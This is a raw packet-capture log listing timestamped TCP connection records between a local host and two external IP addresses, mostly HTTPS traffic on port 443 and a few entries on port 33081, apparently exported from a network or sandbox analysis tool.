Dec 16, 2024 21:02:17.545664072 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.553407907 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.553489923 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.553507090 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.553554058 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.561387062 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.561455965 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.561469078 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.561518908 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.568978071 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.569041967 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.569056988 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.569108009 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.576978922 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.577054977 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.584760904 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.584820032 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.584841967 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.584902048 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.592792034 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.592880964 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.592892885 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.592946053 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.599577904 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.599658966 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.599670887 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.599734068 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.606307983 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.606364012 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.613169909 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.613229036 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.613251925 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.613300085 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.627446890 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:17.627686024 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:02:17.728188038 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.728247881 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.728297949 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.728358984 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.730226040 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.730309963 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.734524012 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.734740019 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.734755039 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.734805107 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.743649006 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.743714094 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.752142906 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.752207041 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.752227068 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.752351046 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.760483980 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.760560036 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.769256115 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.769329071 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.773602962 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.773663998 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.777605057 CET	49780	33081	192.168.2.4	147.185.221.24
Dec 16, 2024 21:02:17.781864882 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.781935930 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.790571928 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.790631056 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.799011946 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.799078941 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.803446054 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.803505898 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.811630011 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.811693907 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.816154957 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.816239119 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.824738026 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.824811935 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.897774935 CET	33081	49780	147.185.221.24	192.168.2.4
Dec 16, 2024 21:02:17.921741009 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.921818018 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.927491903 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.927563906 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.934930086 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.934994936 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.938600063 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.938704014 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.945663929 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.945729971 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.948285103 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.948345900 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.954791069 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.954858065 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.960488081 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.960552931 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.970818996 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.970901966 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.973840952 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.973903894 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.980155945 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.980216980 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.986437082 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.986505032 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.991727114 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.991803885 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:17.997497082 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:17.997562885 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.001735926 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.001796961 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.004435062 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.004509926 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.007713079 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.007772923 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.015017033 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.015084028 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.017936945 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.018004894 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.024720907 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.024805069 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.028197050 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.028270006 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.033399105 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.033467054 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.039633036 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.039702892 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.042946100 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.043010950 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.113858938 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.113944054 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.115520954 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.115587950 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.121205091 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.121269941 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.134104967 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.134125948 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.134191036 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.134207964 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.134263992 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.147869110 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.147958994 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.147970915 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.148042917 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.162590027 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.162636995 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.162833929 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.162833929 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.162899017 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.162969112 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.175399065 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.175441980 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.175513983 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.175528049 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.175565004 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.175585032 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.182673931 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.182713985 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.182770014 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.182785988 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.182806969 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.183085918 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.190279961 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.190321922 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.190365076 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.190375090 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.190402985 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.193104029 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.196892977 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.196933985 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.196980000 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.196991920 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.197017908 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.202061892 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.308741093 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.308788061 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.308883905 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.308885098 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.308948994 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.308996916 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.316111088 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.316150904 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.316204071 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.316204071 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.316220999 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.318039894 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.323585033 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.323626995 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.323708057 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.323720932 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.323853970 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.330327034 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.330368996 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.330420971 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.330420971 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.330435038 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.333096981 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.338022947 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.338062048 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.338110924 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.338110924 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.338124037 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.338181973 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.345139027 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.345180988 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.345230103 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.345231056 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.345243931 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.345298052 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.352768898 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.352809906 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.352854967 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.352854967 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.352869034 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.354043007 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.360562086 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.360599995 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.360646009 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.360662937 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.360687971 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.360706091 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.499403954 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.499454975 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.499470949 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.499486923 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.499516010 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.499516010 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.499541998 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.506599903 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.506645918 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.506674051 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.506685019 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.506715059 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.506733894 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.514115095 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.514158964 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.514189959 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.514228106 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.514256954 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.514281988 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.520509005 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.520549059 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.520581961 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.520593882 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.520622969 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.520642042 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.527955055 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.527998924 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.528032064 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.528043032 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.528075933 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.528095961 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.534981012 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.535022020 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.535056114 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.535068035 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.535094976 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.535113096 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.542270899 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.542313099 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.542342901 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.542356014 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.542382956 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.542401075 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.550028086 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.550071001 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.550122023 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.550136089 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.550159931 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.550182104 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.691431999 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.691476107 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.691509008 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.691524982 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.691550970 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.691567898 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.698713064 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.698754072 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.698785067 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.698796034 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.698822975 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.698842049 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.706284046 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.706329107 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.706353903 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.706366062 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.706401110 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.706401110 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.712662935 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.712709904 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.712742090 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.712760925 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.712785006 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.712821960 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.719958067 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.719997883 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.720033884 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.720046997 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.720071077 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.720093012 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.726865053 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.726905107 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.726934910 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.726946115 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.726970911 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.727009058 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.734225988 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.734280109 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.734298944 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.734309912 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.734337091 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.734354973 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.741560936 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.741615057 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.741645098 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.741656065 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.741678953 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.741714001 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.884047985 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.884104967 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.884151936 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.884203911 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.884238958 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.890075922 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.891465902 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.891527891 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.891546965 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.891560078 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.891586065 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.891606092 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.898715973 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.898760080 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.898791075 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.898802042 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.898837090 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.898837090 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.905297041 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.905340910 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.905375957 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.905388117 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.905432940 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.905556917 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.912606955 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.912648916 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.912687063 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.912698030 CET	443	49774	104.21.12.184	192.168.2.4
Dec 16, 2024 21:02:18.912745953 CET	49774	443	192.168.2.4	104.21.12.184
Dec 16, 2024 21:02:18.912745953 CET	49774	443	192.168.2.4	104.21.12.184
